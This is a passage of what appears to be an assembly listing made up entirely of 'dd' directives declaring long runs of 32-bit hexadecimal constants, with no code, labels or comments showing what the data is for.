		dd 1595F89Ch, 48FD3B85h, 0FB4B7838h, 732E2908h,	0AB39F9BCh
		dd 576F4F88h, 8340C44Fh, 0C67B8B62h, 3D2A88A6h,	0B3C5BA32h
		dd 0F2BAB076h, 5AC2618Bh, 0FCAD14ECh, 0E1A9BB6Dh, 0E89533EEh
		dd 0BACC1D34h, 0F333B13Eh, 958E6DE0h, 1D20CB77h, 0E1273A39h
		dd 0E2B1A8EFh, 9FFE0D19h, 0EDA2C4BBh, 0DB08F7D9h, 8CAFB2F2h
		dd 0B7AA6FFDh, 803E128Ah, 734761C1h, 102EF1BEh,	0B1B0B44Dh
		dd 998E7A03h, 0D81F90B1h, 0BDC33010h, 8E3FC3B7h, 13C8B7BAh
		dd 604AC059h, 0E33005A0h, 275354A4h, 0E27F8A4h,	0F880BE4Eh
		dd 0D3B7F86Fh, 0A9B35833h, 15DCB07Ch, 48ACC509h, 0C8B001BEh
		dd 0F735A788h, 164B034Eh, 83E6EFCDh, 852C3879h,	0A0438B92h
		dd 30AACE4Dh, 0F392BD0Ch, 0BA46CF58h, 0C5BF343Dh, 0F1A838B2h
		dd 58CC7E8Bh, 1FB5CA65h, 0F6F6B25Dh, 0D0240B31h, 88DDA857h
		dd 34C93365h, 0E05BDCB5h, 106A7368h, 9793C163h,	0EFEF84E1h
		dd 6BE79FBBh, 0C1D88EBCh, 0AECC53DFh, 0E4A58F74h, 33A9E4B3h
		dd 0B5B494CCh, 5ABE05B7h, 7DF7C5E6h, 9077F11Fh,	0D89DC44Dh
		dd 0E9F1A524h, 0E08585EAh, 68CF7E9Bh, 65F6120Fh, 4CB5778Eh
		dd 0F6B0F2C3h, 0D0DD69ACh, 854FA087h, 6469BA44h, 2C94FDB9h
		dd 0C5EE3DB6h, 4DE191A8h, 0CAA42F37h, 0EF59C72Ah, 44804827h
		dd 46D0E530h, 0B20FA014h, 82828D5Ch, 0F28B8D42h, 0B8B485BBh
		dd 0B728A3BCh, 8FFA083h, 3BB7E0B7h, 0ED132D6Dh,	3D9AF5C0h
		dd 0F1AA0E11h, 0D8E69DF7h, 0DA4D34F9h, 5E621452h, 0DAA0C44Eh
		dd 0D07AE74Fh, 0E7B3D17Dh, 1574BCD7h, 73E9DAEDh, 0A387B4E1h
		dd 87561188h, 14CCCB00h, 464A81B2h, 71C652A9h, 8BE2399Bh
		dd 8C401376h, 0B0E6D9C4h, 6E25DCB4h, 0E6EA3D3Dh, 34A0D8C8h
		dd 27BF23C1h, 0CB5BFA9h, 73C9324Bh, 0F8CE97B3h,	8D11A6C5h
		dd 0EF060E86h, 818D43F2h, 0A795C5BCh, 51CB71D8h, 368AA806h
		dd 32A8BAE9h, 0B93E5D18h, 0A7788582h, 74ECB2DCh, 0DA17E6B7h
		dd 797132B2h, 7035D1BBh, 6C9F8889h, 9C2C6483h, 921D408Dh
		dd 0F9FD33E2h, 0CD8006A5h, 0F4D243A3h, 0BDE60661h, 1C4D734Eh
		dd 98702808h, 0EDD8E70Eh, 0F7E7E79Ch, 4033733Ah, 0BD27478Bh
		dd 2323D930h, 0E6E68DBBh, 0B16E74F8h, 0B14622D2h, 0B2806BC1h
		dd 0E381B580h, 9733B491h, 0D4735D73h, 25300Eh, 0E671BA28h
		dd 8051453Dh, 0D4C1F7EBh, 62FAC5BBh, 5536AFA8h,	0B9B66AFh
		dd 1DBC930Ah, 3CA51DAFh, 0D312FDE6h, 0A6C44CB3h, 0E158FD3Dh
		dd 475CC531h, 709FF955h
		dd 1CF3C5DFh, 993D71B0h, 0F94EADB6h, 7495A754h,	378792ABh
		dd 581FDA6Ch, 6FC498D3h, 68BB0854h, 0A2CD9BCDh,	95F95FCDh
		dd 9560B564h, 884EBA7Ch, 834C2B31h, 0C2978FCCh,	97B81C74h
		dd 0D8E740F7h, 3EE7AD85h, 800CB21Dh, 0FE81B4BDh, 93B7B9F8h
		dd 0E7FAA004h, 3D8CBB89h, 3016A082h, 56B393B3h,	2EF70784h
		dd 0C446F072h, 9B884050h, 1F806629h, 8CA940D4h,	30CFF992h
		dd 80CBB1ADh, 0E986A8h,	0A502E9B1h, 0E7FCB6A7h,	5B6ED4E4h
		dd 8940B7E9h, 56C0943Fh, 42B1034Dh, 0B044D533h,	70B5BC61h
		dd 0B1B13972h, 0C0C0D0D6h, 98BB782Bh, 0A0A29A43h, 0EC94780Ah
		dd 35519CF5h, 0B82D030h, 0DAA4E8A9h, 14809BBAh,	0A3D5F0F8h
		dd 56B9E3DCh, 0ACD9131Dh, 3CF190DDh, 9B739DC5h,	0AE955BD6h
		dd 3C93CC96h, 0DC8CB35Bh, 30F2EEBBh, 0E9A27DE0h, 0ADBCE7E0h
		dd 0BF2DD0F6h, 76B7822Bh, 0FE416C95h, 9536479Dh, 20E133BFh
		dd 92F20CB8h, 0F9EFC0C9h, 7B77083h, 0DF52AC24h,	4288F64Eh
		dd 6DBF80FAh, 3335C20Ch, 9AF6D19Ah, 6BC78841h, 831D519Ah
		dd 0E86AC9ACh, 13596E3Bh, 4FB4AD30h, 58FB7363h,	43EB4F72h
		dd 90F1BC9Ch, 0E9BA4D33h, 5D3584C4h, 4D3180C4h,	0E5AB4B47h
		dd 0BF33C50Eh, 90B997CEh, 0DF93AECCh, 191C3FD0h, 0BC4E8D96h
		dd 8870AD7Bh, 0BB8FC8CCh, 0B4BC188Dh, 65B25B75h, 30368852h
		dd 4773830Eh, 3EB6EC9Ah, 0B0D3DFA8h, 98581857h,	1BBB48B9h
		dd 16BC0256h, 8FAF00F9h, 0A66D5442h, 0B4978BE6h, 39B28EC0h
		dd 258E898Eh, 0C41B123Fh, 0EBD6B12Dh, 0D9AD4425h, 864BE31h
		dd 0FA58C3DDh, 0FD56A327h, 0FCA97384h, 0A9591232h, 0E866AA0h
		dd 0BEBA977Bh, 0A481A267h, 9BB514B5h, 12C6C442h, 1D728ACCh
		dd 0CF4E4C7Fh, 839CA19Ah, 8BB63B79h, 0E1A8C471h, 2E6BA8E1h
		dd 0BFA86552h, 711D69E0h, 31BDD8DEh, 3C9ADEF3h,	4C4490E1h
		dd 0B4B7CE8Bh, 4EEB3DEEh, 0A1D8E3B8h, 8CB74000h, 2136B174h
		dd 42C5E3A1h, 142BDD2Dh, 0DE23B103h, 0CCB2D8DCh, 488427F1h
		dd 7306BFEEh, 957393E8h, 0BF3C182Dh, 0DAD357BCh, 0C4906591h
		dd 0C25AD3F2h, 90B5BF43h, 0F60490B2h, 6C7A8D5Bh, 94C64037h
		dd 0CAB1D8C7h, 0B1D2EC36h, 136BC113h, 0FF69179Ah, 93943666h
		dd 0BA981633h, 85EA9CBCh, 5DEE383Ch, 7AF77139h,	0B9CC0690h
		dd 0B66B5D83h, 0CE415D06h, 747931D7h, 5A5BEFCDh, 5B27E986h
		dd 0E3D6406h, 0B2A4B8BAh, 0AF8A4D97h, 2B0B5F2Fh, 0AF39EDC2h
		dd 2E397C99h, 3B2E3942h, 7E4887B7h, 0C6738B40h,	0E97281B7h
		dd 0FE2E38F1h, 25B78F33h, 8DBB842Dh, 3BEFAE39h,	0E5E8E075h
		dd 7AA091A1h, 89487378h, 0C8D48E0Eh, 0DA1DD603h, 31F3B170h
		dd 229DE376h, 0E5EFA8D6h, 15F39150h, 76A794E5h,	102EAF44h
		dd 0F6F10E70h, 0C5EF8B4Ch, 0CE4F35AAh, 46006B8h, 8BB4C8EFh
		dd 0E3BEC56Fh, 1D01B319h, 557DF5B3h, 7F0698F3h,	0D1BFE3A5h
		dd 0BCDEBF98h, 8680B3E3h, 0ABBDBB73h, 88C59CBBh, 0BC848AA7h
		dd 879184D6h, 0DC375178h, 8C93AE44h, 0ADF1AF80h, 38C1FAEFh
		dd 3FA4AE11h, 0AF70C8BBh, 0C4A8F50Bh, 0CB8A877h, 0E923E3A9h
		dd 0B4ADB237h, 0A844116Ah, 98F5D294h, 62CF9090h, 7254EFBCh
		dd 0BCC54FB8h, 1DFDF166h, 3991F6D2h, 8629931Dh,	0A47CE109h
		dd 0E190BC49h, 0B0701221h, 0BB2E5B9Ah, 0DF120EF0h, 2D74040Bh
		dd 0F79C353Bh, 0D6ACD8CAh, 0A60DF17Ah, 414CE187h, 28168040h
		dd 0D8F050Fh, 0C240138Ch, 33B96485h, 0A9A18C0Fh, 0CA86D6B0h
		dd 0A4D95141h, 92B7A575h, 8F7731E3h, 310C5D4Fh,	0E6748BBCh
		dd 74EDB8FDh, 693265F0h, 0CCB381B2h, 0BE1DC0C0h, 180F73A0h
		dd 16E7A4C4h, 30A8D258h, 9485A0E3h, 0BEC98EBCh,	0A50EA4CFh
		dd 0B6C2E3E6h, 1F849809h, 0B478F3D5h, 0AA9D5414h, 0B1F3B81Ch
		dd 0F9D1A8B3h, 0AF4F6F13h, 8BA13B66h, 0C5B494E4h, 7131F0B1h
		dd 9449310Ah, 0E36B70C0h, 0FB73596Ah, 81E162B5h, 0BD0BAF8Bh
		dd 0FF2FFDC0h, 73EEE1F2h, 74311B3Bh, 0EB877230h, 0B3E17BB0h
		dd 70E9BCE3h, 0B3F3E761h, 0E8B13959h, 72A4A0B9h, 0CE25E73Bh
		dd 0B4E98F90h, 24B5C773h, 0F54FBEBFh, 0F38B6FBCh, 5CA174E4h
		dd 0A0EB55CCh, 0D0EB7397h, 2CF7A535h, 81798398h, 0F84CF0E3h
		dd 73713BFDh, 7FB1A05Bh, 406F92B1h, 0F24A6BB4h,	0E20E128h
		dd 0E1A6D8D8h, 0BB42DB8Eh, 8310A698h, 5D62A56Bh, 0E0CE45B1h
		dd 0C01FE0D3h, 855D3560h, 0FE9D470h, 0B3FFE3CEh, 3900A3B5h
		dd 0B6BA13FCh, 92FE81F0h, 37F7D643h, 0B08628FBh, 5A247431h
		dd 0B22B0C90h, 0E8B2D574h, 0EB50B6F0h, 0C9DFE4DBh, 0F4EFA9C4h
		dd 27F6C994h, 0B8978828h, 0BC5377E4h, 0E72493B3h, 4D48FDB1h
		dd 0A5B60093h, 0B0FFE330h, 0B11490A9h, 352BDCA5h, 0E1E6AA9Bh
		dd 0F062D3D1h, 81C3C8B1h, 6B2B50Bh, 0C0D1ADACh,	599EE2F4h
		dd 5096E20Bh, 9BA2CB04h, 87AE3C72h, 30A1B2ADh, 93A2261Dh
		dd 83C62039h, 434AB8Fh,	13FE381h, 0F7957172h, 3E84AB35h
		dd 0A3F480B1h, 54E79A6Ah, 0F6A559A0h, 0D8EB30B5h, 0D1458A28h
		dd 0C1068D3Fh, 745BC3E5h, 68EE5Bh, 0E903F6E7h, 176BB78Dh
		dd 19A930EFh, 0C3671516h, 6F1CF9CCh, 943D400Ah,	0BA616B1Dh
		dd 434A3B48h, 8B8F651Bh, 8FA7CFB8h, 6DF7B3ADh, 85FCA742h
		dd 0E1B8BC3Ah, 38464441h, 9AF0B6BCh, 0EE5FCEA0h, 43E5739Bh
		dd 0EC308AD0h, 3532C9B8h, 669350BEh, 0DCCBC476h, 52A8E5C6h
		dd 0DBC1C6E1h, 5A68945Bh, 0E9377584h, 0D8EDC491h, 97B0A090h
		dd 0F375DACCh, 13E0779Bh, 964B4A36h, 733BA00Dh,	809430AFh
		dd 3A690EB0h, 8412B056h, 11956974h, 0B3706508h,	11FE376h
		dd 5D82E051h, 0F6473B80h, 0EEEBC154h, 0F4631CF1h, 0E53BC176h
		dd 95B0114Fh, 91BA5F66h, 30E848CDh, 5BEE3D89h, 0C5B69116h
		dd 3995F1B6h, 0A5CFB5BAh, 3A9B4F7Dh, 0ED4B30A9h, 0FC89B5C5h
		dd 9DAB8D0Ah, 0FD3A9CC5h, 0F1174F50h, 3AB1C1C7h, 788A4FF9h
		dd 0ED8CAFCDh, 0C7383B4Fh, 0A68DCDDFh, 0AB3AABB2h, 0A7CC698Ah
		dd 45CF688Ah, 0A31E5FAAh, 5BEF8288h, 8AB5F595h,	34BD83A8h
		dd 4FEFB29Bh, 168DE3B2h, 55CF47BBh, 6148F589h, 7F9B783Bh
		dd 488B493Bh, 0F21BB873h, 8FB00E84h, 0D2149BF1h, 594F2B75h
		dd 9EE96087h, 0B73BBE2Fh, 0C4A888E7h, 46B93AACh, 304B7303h
		dd 0BAC48F49h, 0A23D9AB9h, 0B739F04Fh, 0EB6F9F8Fh, 3B505B4Ch
		dd 0B49D8BB6h, 3A455BADh, 6A488AB8h, 0C57B4F37h, 88A63BA9h
		dd 0CDB4C4AAh, 0BBAADF5Bh, 74A988FDh, 0E7282AFAh, 6FCC11D0h
		dd 8C09AD8Dh, 89D1B74Fh, 8A0BA03Ah, 0CD586B7Ah,	0EB1F73B3h
		dd 8D63A1C4h, 6F585B06h, 83C60175h, 47EFA15Eh, 0F0D3AB55h
		dd 2CB8475Bh, 0D31D24A8h, 34D28E74h, 0BDC56D10h, 0D1B7BA47h
		dd 0F7F2B81Fh, 614A4B98h, 0F6A75091h, 7934BE3Ah, 88328DC4h
		dd 0CF71B3BEh, 0A23ABC2Bh, 9FC46234h, 0BFB0A55Ch, 0DF2333B1h
		dd 9CD315E3h, 5BA9B244h, 0AFFF27A3h, 0B82E6FE8h, 0E9E9C89Ch
		dd 0D139F6FEh, 3A8E300Dh, 0ADBFCB87h, 0AFAD32BBh, 92A2A440h
		dd 0EB8493A3h, 1A2BBA3Ah, 0DFE13FB0h, 96A8CF08h, 30F85752h
		dd 0CCA67015h, 1E8F7225h, 0D3DEB70h, 9B7BD471h,	0C5B54C08h
		dd 0AB9070D3h, 42A7D084h, 9BAE09E9h, 0AE0D4D0Ch, 0AC94ABC5h
		dd 0C6268BB0h, 1D1DF0C2h, 8899A067h, 0D3DDB207h, 4A2BF9Fh
		dd 90F0BC89h, 24649250h, 0CB7911BDh, 0A0C4858Fh, 709250F5h
		dd 0D6FE17EEh, 53F8F368h, 4B21E8A7h, 8DAAC60Ch,	4D0C7748h
		dd 5AA3E667h, 0D8CB872Eh
		dd 0FB67E3C8h, 38683DB4h, 87DF501Ch, 0CE64FD39h, 0ABCDF33Dh
		dd 6354F244h, 0F5348C74h, 0C060A37Ch, 2E11393Bh, 0F568F1D4h
		dd 0BD78EDD4h, 0CADD30DAh, 0C84AC885h, 93DA70ADh, 0BF5DE2ADh
		dd 0CC4A634Fh, 759D74BAh, 387FE983h, 71449D06h,	0AEF4BD66h
		dd 309234C0h, 28B4703Ah, 0B47DF0C7h, 6D2D3CE1h,	0B121ABF8h
		dd 60871401h, 29153CB5h, 0A6014B83h, 7B6DA601h,	0F660B692h
		dd 0B17304BCh, 0CE70BC88h, 6AF4A368h, 0B8594E3Eh, 888F733Dh
		dd 0EC120F25h, 0F824234h, 0EFF73D0Ch, 0C7F878A1h, 0C53DBC96h
		dd 7FB106h, 0BC955A78h,	0A93C04FEh, 0A1255C4Eh,	93F6B6FBh
		dd 0BB683BACh, 5AF63972h, 0C4FB2FAAh, 0D0DA03A6h, 4D4F30CCh
		dd 494729E9h, 76DF6235h, 5BF69CB6h, 3DB3FE72h, 2F4E78FDh
		dd 0B839B99Eh, 0F0B8381Bh, 30415BFEh, 0F5B090h,	8BC1149Ah
		dd 3050C891h, 0D0AD82A3h, 0EAB27133h, 16A8BFA8h, 0A5C98F32h
		dd 3B6AF6E7h, 0A373BB48h, 96889A7Dh, 0FE1D77F6h, 0A5AFEBA5h
		dd 3BA79A68h, 31DBC8BDh, 358E5B4Bh, 614FB299h, 35D060E2h
		dd 0EB38ED97h, 67D5834Dh, 0FDDBEA70h, 0C888443Bh, 9B9F4D49h
		dd 33F0C477h, 86C48258h, 0B5C4F8B9h, 949C5BDEh,	36A8722Ch
		dd 0F4E83F24h, 0E740B2DDh, 29470193h, 0C4695D1Dh, 0E63538A0h
		dd 6EDF6EC5h, 5B8D9F4Fh, 0C68E89A6h, 0B4EE3DA2h, 0F7849DE3h
		dd 0BCA87333h, 8B48F433h, 0E641C28Eh, 78370A89h, 29B134BBh
		dd 0F409A1A0h, 2AE68031h, 705E45E0h, 0B0C29325h, 392012A0h
		dd 0D085D54Ah, 0B04C6430h, 0C4B25E71h, 0A20A00CAh, 1FE0DF47h
		dd 54B68E18h, 3FFE2D9Bh, 68B0DA87h, 0A5649615h,	44A7F1ADh
		dd 31A9394Dh, 8FF4DA32h, 5C32969Ch, 44C57D71h, 119B8882h
		dd 2567787Ch, 41D45028h, 4508335Ah, 0C293891Dh,	0B532C03Ch
		dd 3B606D9Bh, 5F5BEB34h, 21F19366h, 102430B3h, 0EF3EE7DAh
		dd 8C088E72h, 0AF9BA11Bh, 4C51C470h, 0B764D5C8h, 5FE7BAA3h
		dd 657AE131h, 0BEE6542Ch, 35BEA383h, 55E2B267h,	429029EEh
		dd 0C81AB53Ch, 0BA2C38EEh, 0B144ED1Bh, 0B650F37Fh, 0D838AFA5h
		dd 8A8D2A24h, 7B80DAFDh, 31F25188h, 0D7BD641Eh,	7DF1725Ah
		dd 44A57508h, 0B7AFCE48h, 4187F6D0h, 4DBBA451h,	94E1F6A0h
		dd 309F538Bh, 57CCE9CBh, 2D5B75F7h, 5046B43Dh, 69EFDE85h
		dd 0E624350Ch, 5324BFB4h, 2813BB5Bh, 0C775B681h, 0B4551DE1h
		dd 10BC8413h, 8CBDE396h, 5FE9B534h, 49F488BDh, 0A5AAAC78h
		dd 0B0344CC5h, 0AC72F755h, 14645DF1h, 7634F1ADh, 50AFCCA2h
		dd 0BFB08258h, 0D656989Eh, 4ADAA710h, 0D678D877h, 74AD4290h
		dd 8FF49D54h, 5D0134D9h, 9E653C40h, 0D3B2DA80h,	2EEDD3B9h
		dd 463531D5h, 0FB50E071h, 1ED6F1ADh, 7C040F7Ch,	0CD2CBC6Ah
		dd 0A1AD89CFh, 0CB7B5CEDh, 170A0FB0h, 0E14F1347h, 0B9DD804Fh
		dd 194A2A30h, 4A054FB1h, 3310F379h, 740F4B80h, 6E3E62AEh
		dd 6E8DACC7h, 404382E3h, 9C70FBB4h, 0ABDBB2ADh,	341AB7E3h
		dd 0D62EAEFEh, 5380AF55h, 6BD6351Fh, 44D8A9C4h,	393F65B1h
		dd 67D930B5h, 0F6BC763Bh, 0AE894DD7h, 0D15B34C5h, 0FF751641h
		dd 0CFA76AA0h, 52874808h, 0FDD826E0h, 8C0ED931h, 10867CB8h
		dd 94944794h, 9090C640h, 604DDA99h, 4F17BD69h, 0AE898EF0h
		dd 24A712AAh, 33EE2DAFh, 0E4FB4D9h, 0C0C4A889h,	0EB366EB0h
		dd 0A7EE3BD6h, 0C8CBE05Ch, 0F46D2739h, 3D983584h, 0F06707BDh
		dd 0A80EC1D1h, 3BB25B66h, 0DCD73EFh, 0DB40D186h, 0D88F65C4h
		dd 3307AD48h, 0ACAFF93Bh, 3B57B23Ah, 0A7A7D1B3h, 0B198EF3Dh
		dd 65E6B1ADh, 22B107E6h, 78BE08D7h, 9CAC3554h, 0A8A3AA69h
		dd 49C585B2h, 2BA6B041h, 0B6AA3352h, 0F0A831F3h, 776880D1h
		dd 6CD10261h, 0BC82B0DBh, 0BA41D9FFh, 0BEB27C9Dh, 3D2CB152h
		dd 0B68997BCh, 0FF384C00h, 7CF53D7Eh, 0CDFF30E6h, 70C1FD93h
		dd 37D84FB5h, 0F1524204h, 84AFFC2Bh, 0F2431548h, 220B84B6h
		dd 2E5F1CCFh, 0C0843F21h, 3CBFB170h, 43680D37h,	0DCF8C6B3h
		dd 0BFBAD7B5h, 0EC77E33Eh, 853BF77Dh, 4CC9B25Fh, 0B07C9F14h
		dd 2F0390FAh, 91C2A1A1h, 9028B12Bh, 503B78ACh, 0DA80B36Fh
		dd 911CD8DFh, 26B45BB1h, 62F3220Ch, 93928CB4h, 294EF254h
		dd 92ACD88Bh, 7627D62Eh, 0D30352Bh, 0C83C5F05h,	0EC327803h
		dd 4848F126h, 96EF98D4h, 9B7E7E49h, 0A898D863h,	98F8D8EFh
		dd 91C2A17Dh, 8331AB84h, 9293C86Dh, 409670A1h, 200C316Fh
		dd 0C892C4F7h, 0E0549192h, 0E8D8DA40h, 0BCB37403h, 1B78BE42h
		dd 62B32EB3h, 6A574466h, 54503C20h, 51B94443h, 945D2252h
		dd 34C2F319h, 4916DDBCh, 8E759EF7h, 5291B783h, 57959416h
		dd 549F908Fh, 95819598h, 0B8D88FDAh, 42A05495h,	0B26651D2h
		dd 79BCB20Dh, 0B200B794h, 0CD60D8D4h, 0EC12078h, 29A39CC0h
		dd 23EFDC95h, 8D304215h, 0B70376E4h, 915698Ch, 1CE7A2A8h
		dd 34B85F65h, 9C5B76B9h, 0F0A05108h, 828CD22Eh,	875808C0h
		dd 0E860CF2h, 264A7831h, 0ECEAE000h, 0E642699Ch, 2192D099h
		dd 7050A567h, 8DBCF641h, 0B6343D6Ch, 6377BAB6h,	674ABC47h
		dd 0C4B5D88Bh, 5F701418h, 0EBF93268h, 363DA2E0h, 0A996D965h
		dd 1C838ED6h, 0ED18511Ch, 9D3794F0h, 0A6085C16h, 0F0B8F25Ch
		dd 7594483Bh, 0CEAACA5Ch, 0A0627EEFh, 0BD96E9D8h, 48B5DAA0h
		dd 0F2AFB4A4h, 0CB9D402Fh, 9678722Fh, 0B048BCB2h, 31D6F827h
		dd 0B5CFBFEFh, 0B4DAF885h, 0ACE25401h, 0BB37C99Ah, 9769DB4Bh
		dd 90F59D31h, 2A491D6Dh, 0A759A4B1h, 0EBBCE023h, 0AC2178BEh
		dd 994CB4B8h, 0F8C2F320h, 99449948h, 0C45F5DACh, 0AFCFCD33h
		dd 5CD899C5h, 5DAC58D7h, 5B54217Dh, 0E17CD8E2h,	7FDBF778h
		dd 0A0997421h, 4808E50Ch, 494C720h, 0C53B5590h,	82B62F6Ch
		dd 0FC4584BBh, 0F5EE95F8h, 9EC490C6h, 0B8BECED5h, 0ED3BF90Ch
		dd 2E6B969h, 85782000h,	9021977Bh, 51EDEBD8h, 9BCCB944h
		dd 0ADCFA4CDh, 6A662F21h, 76B3EA9Dh, 0B20530C1h, 0B8E34DDBh
		dd 8BF6BB2Bh, 8253CC47h, 0EDB21E82h, 6F4887B8h,	0D0411F96h
		dd 99B531FCh, 6CF9C5C5h, 7FAFBB3Bh, 67F0354Fh, 0C47948E0h
		dd 40C85BEDh, 6A1495FEh, 3BD8D5D5h, 189FA132h, 51FE90BEh
		dd 0C4E41FB2h, 2E9FB02h, 391F4A40h, 0AAC989C4h,	0D8F8DAE3h
		dd 0C1CC9CC8h, 95AF99CCh, 0E65BEC5h, 5AA090B0h,	5385DFF0h
		dd 7B7C5C69h, 702CFB5Dh, 0D883E6C7h, 2D32D574h,	0F148997Ch
		dd 0F0819BE5h, 0D8FC5436h, 0F9C1A648h, 301E9DE4h, 5C4E2B26h
		dd 3797310Fh, 0C3DF957h, 87FE4185h, 0D4229FBFh,	0EF888CCDh
		dd 739B8101h, 40A7BCC4h, 0BC5FA81Fh, 0A691C5F8h, 0CB7D8C18h
		dd 0A0A05B4Bh, 9049B74Dh, 6DE10E4Bh, 21FFFEEBh,	0DA7F0ECFh
		dd 66B1F25h, 9D2FE0E1h,	6EF2F62Fh, 20F0C48Dh, 0D320589Ch
		dd 90417EBBh, 648B0B27h, 70220D40h, 5033E984h, 0B470B7B2h
		dd 0C689B9BAh, 0C1DA0D4h, 0B60700C6h, 0E85EFE8h, 874D822Ch
		dd 0BAE81B2h, 9D3C19ABh, 2BB7914Fh, 5BB2D54Ch, 3DAFEB9Ch
		dd 0CC78FC98h, 8965BB8h, 0C04F3932h, 0B7F5E9F3h, 7AD03AE2h
		dd 723CC38Dh, 90B93F91h, 51B0D643h, 87CB0ADh, 0ECB0F713h
		dd 0AD77FAA0h, 48504750h, 903C2C24h, 0E9628306h, 5FFAA18Bh
		dd 89B36BF3h, 4F604B29h, 71518083h, 8999C5B1h, 0B009BCE5h
		dd 11CAC69Fh, 3B8C4F84h, 73B2C541h, 0B4B64F94h,	0A0613B6Ah
		dd 71BFBE60h, 5BE0E2E6h, 791DCFBh, 0C5B2ECF1h, 0E6F8FBAFh
		dd 0A9FD7D88h, 883C5B3h
		dd 0B7F26243h, 8580FC53h, 3F71D0B1h, 0F19E406Bh, 0C413B403h
		dd 0AA0859F7h, 0AB1288BBh, 353BE1EFh, 3498E69Eh, 9AED620Dh
		dd 918C70DBh, 514AE000h, 9748E2ECh, 70B5A9B0h, 0FAD3D771h
		dd 548539E5h, 5F249A12h, 1B2C7A86h, 0A7098B48h,	4B1AA40h
		dd 0C0CFEE4Ch, 8100FBA8h, 0EAF8B3DEh, 7231E617h, 69B2D700h
		dd 0A53952A3h, 0CB58BB1Ah, 0AD717D02h, 0B3A685C4h, 0EC041364h
		dd 0E1407D72h, 0AEB4D87Ah, 1D48DF5Bh, 13A7CD36h, 0E686F650h
		dd 49D8A2D8h, 1E519CA1h, 94BDD53Bh, 6C2E7AA0h, 89A276E3h
		dd 0F2E5A245h, 4FED5B31h, 9F86D4D0h, 75843D97h,	0F5F62278h
		dd 0A8A8B470h, 8525F24Fh, 0F08CE490h, 0F4A9F735h, 0B8A49A90h
		dd 9A12D30h, 0B63B498Dh, 90D028FEh, 0E733B2FEh,	0A6709D5Bh
		dd 0EB7D3CFFh, 880F8E2h, 0B1C555C2h, 0BF48DF0Fh, 0DE06C6E9h
		dd 0D0B54053h, 45B6BE17h, 7B801453h, 9D0845ADh,	0B892C014h
		dd 545535B0h, 0CDA2509Dh, 8D4848A3h, 4C231450h,	0B2DDF34Ch
		dd 4D0B8715h, 0B85071A7h, 44FDACB3h, 0BA48A3EEh, 33B28071h
		dd 0B4394B9Fh, 35270E7Dh, 91E61778h, 32E27690h,	64932A95h
		dd 30D27500h, 908B0031h, 3AEDF9CCh, 0EF6B83BEh,	40F9A551h
		dd 2748B2E3h, 59ACC1C4h, 0D5C34ACh, 58C5B254h, 37F24CC2h
		dd 0D6CEE656h, 3AA030B4h, 5E7A2400h, 8490EBDDh,	0DE69F0B6h
		dd 50D97ED5h, 4E5093B9h, 3FF3856Eh, 8C5405E3h, 0C4E1AE0Dh
		dd 0D876A1D3h, 913313E6h, 15B363E4h, 2407702Fh,	2EF322D7h
		dd 0C684837Ch, 33B048F2h, 28021543h, 4759E070h,	39963AB2h
		dd 0E085B8FDh, 0C575C7DCh, 53D60A6h, 8CA1319Ah,	330AE16Dh
		dd 41A2C113h, 9CAB6331h, 0E8743197h, 8F121329h,	780EF89Dh
		dd 0D873E644h, 0FABFB8FAh, 0C3DCA462h, 0CF9135BFh, 54F5899Ch
		dd 44CAEC5h, 0C1B0139Fh, 4DB3A090h, 0E9B75323h,	6CED8960h
		dd 394B2E34h, 277C75ACh, 42089D76h, 0FBE7C3C2h,	96891D3h
		dd 0BFBA88CAh, 0B79C306Dh, 0A0168D88h, 5870D98Bh, 9168E82Dh
		dd 38395CDEh, 83FB2FFAh, 3D675F44h, 0D8E1E0D6h,	0F733A2C1h
		dd 65C9B5BCh, 7035F364h, 4CAFCF72h, 0DAB6C5ACh,	445B66F5h
		dd 0CD8BF7BAh, 383DC66Ch, 0C2E0088Bh, 91CDC47Ch, 0D04D097Ch
		dd 0EFCCB7B1h, 3B54CD88h, 0CB88FB4h, 9AC55F83h,	0C5C758A7h
		dd 8BB4C27Ch, 0D25AEB6h, 0D82250F4h, 0D8C0A8A7h, 90F48C34h
		dd 232F27BCh, 88DCA0CFh, 0BBC51D4Ch, 0EC3C4D8h,	0F2A39251h
		dd 1150E7EFh, 0B50CD050h, 0F45A33C5h, 0A13F795Bh, 742D6BA5h
		dd 734CB5B1h, 402698BCh, 3678C53Bh, 0C9BFB226h,	5AF63077h
		dd 5B537B3h, 876E712h, 0E93A41DBh, 8A083DF7h, 33B73B04h
		dd 0DCBB0CBFh, 1E8703ABh, 529300ADh, 50CD6FBEh,	3FBFC4D5h
		dd 3959CE02h, 0E9AA58DFh, 0BFC7305Bh, 1FF250A2h, 8B50C4Eh
		dd 403C8600h, 6A2539AEh, 64266F35h, 8D25F59Fh, 0D023730Ch
		dd 0D7683E04h, 517DE694h, 87E80954h, 324C4488h,	0CBD2A6A9h
		dd 311ED4D9h, 106B4D33h, 0AE8CD152h, 0A146D463h, 0A16455BEh
		dd 999EA8B5h, 0D9BEAD60h, 0FCF82D6Bh, 5FC9F168h, 39AC8DB1h
		dd 0A16CAD16h, 0D4D52948h, 645008A9h, 0E8CB1858h, 8BDA2605h
		dd 7605354Fh, 0B9828746h, 14D104E2h, 0FC204FE1h, 37FF8062h
		dd 3B4413BFh, 0C84473FBh, 537931BDh, 0DE7F35DDh, 14AA37D1h
		dd 0A60F91D1h, 8AAFA161h, 0BBCCFD33h, 4F5070E5h, 8D1D4FB4h
		dd 9C0A30C1h, 0CD5B7704h, 2CBFBE2Bh, 38AAB478h,	3D9E0E83h
		dd 0ACB573F6h, 8030B98Eh, 36BA4548h, 334F40A1h,	89F38C76h
		dd 5B55C58Eh, 21733BA1h, 0EF31DF80h, 0E4303B6Ch, 0B2DA7463h
		dd 5CCFFCE7h, 0BB9A8EC9h, 0A3C4779Bh, 0A8AC9C84h, 894C5EB3h
		dd 833AA002h, 856AF49Dh, 5CCD9794h, 0F848B6Ch, 78CD161Ah
		dd 0A015E132h, 0D9CBB880h, 609B9C3Ah, 39786B3Bh, 9BE7BC9Ch
		dd 2334E7E7h, 7D60801Bh, 0E6A4BF77h, 2168F1D0h,	2CA4D1FBh
		dd 9F7623B9h, 34B44C98h, 0F1B1C579h, 0AB718B94h, 74DB4E70h
		dd 7033330Fh, 7371B3A5h, 30A4FDCDh, 0ADC4BA49h,	4C005EBDh
		dd 0A8C4BDB9h, 85D5EFECh, 516F275Fh, 0B965EFA1h, 9EB5C49Fh
		dd 39F1B4C5h, 0CD47E6FBh, 3B0E034Fh, 3B9AC67Eh,	0B8587171h
		dd 8CA8D78Ch, 0D38CA4D5h, 3D9FC7CDh, 8CBC6DA0h,	0B4EF97D1h
